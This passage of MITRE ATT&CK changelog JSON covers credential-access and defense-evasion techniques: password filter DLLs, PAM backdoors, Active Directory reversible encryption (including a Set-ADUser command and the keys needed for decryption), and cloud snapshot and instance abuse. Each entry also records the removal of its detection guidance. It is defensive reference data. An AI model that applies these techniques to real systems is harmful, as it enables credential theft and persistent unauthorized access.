"url": "https://attack.mitre.org/techniques/T1556/002",
"external_id": "T1556.002"
},
{
"source_name": "Clymb3r Function Hook Passwords Sept 2013",
"description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
"url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
},
{
"source_name": "Carnal Ownage Password Filters Sept 2013",
"description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
"url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Vincent Le Toux"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.067000+00:00\", \"old_value\": \"2025-04-15 22:56:08.743000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Notification Packages) and correlate then investigate the DLL files these files reference.\\n\\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Notification Packages) and correlate then investigate the DLL files these files reference.\\n-\\n-Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0011: Module (Module Load)",
"DS0022: File (File Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0472: Detect Malicious Password Filter DLL Registration"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-06-26 04:01:09.648000+00:00",
"modified": "2025-10-24 17:48:21.118000+00:00",
"name": "Pluggable Authentication Modules",
"description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/003",
"external_id": "T1556.003"
},
{
"source_name": "Apple PAM",
"description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.",
"url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt"
},
{
"source_name": "Man Pam_Unix",
"description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.",
"url": "https://linux.die.net/man/8/pam_unix"
},
{
"source_name": "PAM Creds",
"description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20240303094335/https://x-c3ll.github.io/posts/PAM-backdoor-DNS/"
},
{
"source_name": "Red Hat PAM",
"description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.",
"url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules"
},
{
"source_name": "PAM Backdoor",
"description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.",
"url": "https://github.com/zephrax/linux-pam-backdoor"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Scott Knight, @sdotknight, VMware Carbon Black",
"George Allen, VMware Carbon Black"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.118000+00:00\", \"old_value\": \"2025-04-15 22:57:26.573000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\\n\\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\\n-\\n-Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1032: Multi-factor Authentication"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Modification)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0454: Detect Malicious Modification of Pluggable Authentication Modules (PAM)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2022-01-13 20:02:28.349000+00:00",
"modified": "2025-10-24 17:49:27.587000+00:00",
"name": "Reversible Encryption",
"description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/005",
"external_id": "T1556.005"
},
{
"source_name": "dump_pwd_dcsync",
"description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.",
"url": "https://adsecurity.org/?p=2053"
},
{
"source_name": "store_pwd_rev_enc",
"description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption"
},
{
"source_name": "how_pwd_rev_enc_1",
"description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.",
"url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html"
},
{
"source_name": "how_pwd_rev_enc_2",
"description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.",
"url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"Command: Command Execution\", \"User Account: User Account Metadata\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.587000+00:00\", \"old_value\": \"2025-04-15 23:00:34.242000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor property changes in Group Policy: Computer Configuration\\\\Windows Settings\\\\Security Settings\\\\Account Policies\\\\Password Policy\\\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\\n\\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \\n\\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor property changes in Group Policy: Computer Configuration\\\\Windows Settings\\\\Security Settings\\\\Account Policies\\\\Password Policy\\\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\\n-\\n-Monitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \\n-\\n-Monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Metadata)",
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0589: Detect Modification of Authentication Process via Reversible Encryption"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-08-30 18:03:05.864000+00:00",
"modified": "2025-10-24 17:48:26.284000+00:00",
"name": "Modify Cloud Compute Infrastructure",
"description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1578",
"external_id": "T1578"
},
{
"source_name": "Mandiant M-Trends 2020",
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Metadata\", \"Instance: Instance Stop\", \"Snapshot: Snapshot Creation\", \"Volume: Volume Modification\", \"Instance: Instance Modification\", \"Instance: Instance Creation\", \"Volume: Volume Metadata\", \"Instance: Instance Start\", \"Cloud Service: Cloud Service Metadata\", \"Volume: Volume Creation\", \"Snapshot: Snapshot Modification\", \"Snapshot: Snapshot Metadata\", \"Volume: Volume Deletion\", \"Snapshot: Snapshot Deletion\", \"Instance: Instance Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.284000+00:00\", \"old_value\": \"2025-04-15 22:49:33.134000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0020: Snapshot (Snapshot Creation)",
"DS0020: Snapshot (Snapshot Deletion)",
"DS0020: Snapshot (Snapshot Metadata)",
"DS0020: Snapshot (Snapshot Modification)",
"DS0025: Cloud Service (Cloud Service Metadata)",
"DS0030: Instance (Instance Creation)",
"DS0030: Instance (Instance Deletion)",
"DS0030: Instance (Instance Metadata)",
"DS0030: Instance (Instance Modification)",
"DS0030: Instance (Instance Start)",
"DS0030: Instance (Instance Stop)",
"DS0034: Volume (Volume Creation)",
"DS0034: Volume (Volume Deletion)",
"DS0034: Volume (Volume Metadata)",
"DS0034: Volume (Volume Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0308: Detection Strategy for Modify Cloud Compute Infrastructure"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-05-14 14:45:15.978000+00:00",
"modified": "2025-10-24 17:49:24.804000+00:00",
"name": "Create Cloud Instance",
"description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1578/002",
"external_id": "T1578.002"
},
{
"source_name": "AWS CloudTrail Search",
"description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.",
"url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"
},
{
"source_name": "Cloud Audit Logs",
"description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
"url": "https://cloud.google.com/logging/docs/audit#admin-activity"
},
{
"source_name": "Mandiant M-Trends 2020",
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
},
{
"source_name": "Azure Activity Logs",
"description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.",
"url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Creation\", \"Instance: Instance Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.804000+00:00\", \"old_value\": \"2025-04-15 22:10:54.239000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\\n\\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\\n-\\n-In AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0030: Instance (Instance Creation)",
"DS0030: Instance (Instance Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0449: Detection Strategy for Modify Cloud Compute Infrastructure: Create Cloud Instance"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-06-09 15:33:13.563000+00:00",
"modified": "2025-10-24 17:49:34.416000+00:00",
"name": "Create Snapshot",
"description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1578/001",
"external_id": "T1578.001"
},
{
"source_name": "AWS Cloud Trail Backup API",
"description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.",
"url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html"
},
{
"source_name": "GCP - Creating and Starting a VM",
"description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.",
"url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2"
},
{
"source_name": "Cloud Audit Logs",
"description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
"url": "https://cloud.google.com/logging/docs/audit#admin-activity"
},
{
"source_name": "Mandiant M-Trends 2020",
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
},
{
"source_name": "Azure - Monitor Logs",
"description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.",
"url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Snapshot: Snapshot Creation\", \"Snapshot: Snapshot Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.416000+00:00\", \"old_value\": \"2025-04-15 22:11:14.755000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\\n\\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\\n\\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\\n\\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \\\"sourceSnapshot\\\": parameter pointed to \\\"global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\\n-\\n-In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\\n-\\n-In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\\n-\\n-Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \\\"sourceSnapshot\\\": parameter pointed to \\\"global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0020: Snapshot (Snapshot Creation)",
"DS0020: Snapshot (Snapshot Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0423: Detection Strategy for Modify Cloud Compute Infrastructure: Create Snapshot"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-06-16 17:23:06.508000+00:00",
"modified": "2025-10-24 17:48:56.705000+00:00",
"name": "Delete Cloud Instance",
"description": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1578/003",
"external_id": "T1578.003"
},
{
"source_name": "AWS CloudTrail Search",
"description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.",
"url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"
},
{
"source_name": "Cloud Audit Logs",
"description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
"url": "https://cloud.google.com/logging/docs/audit#admin-activity"
},
{
"source_name": "Mandiant M-Trends 2020",
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
},
{
"source_name": "Azure Activity Logs",
"description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.",
"url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS"
],
"x_mitre_version": "1.2",
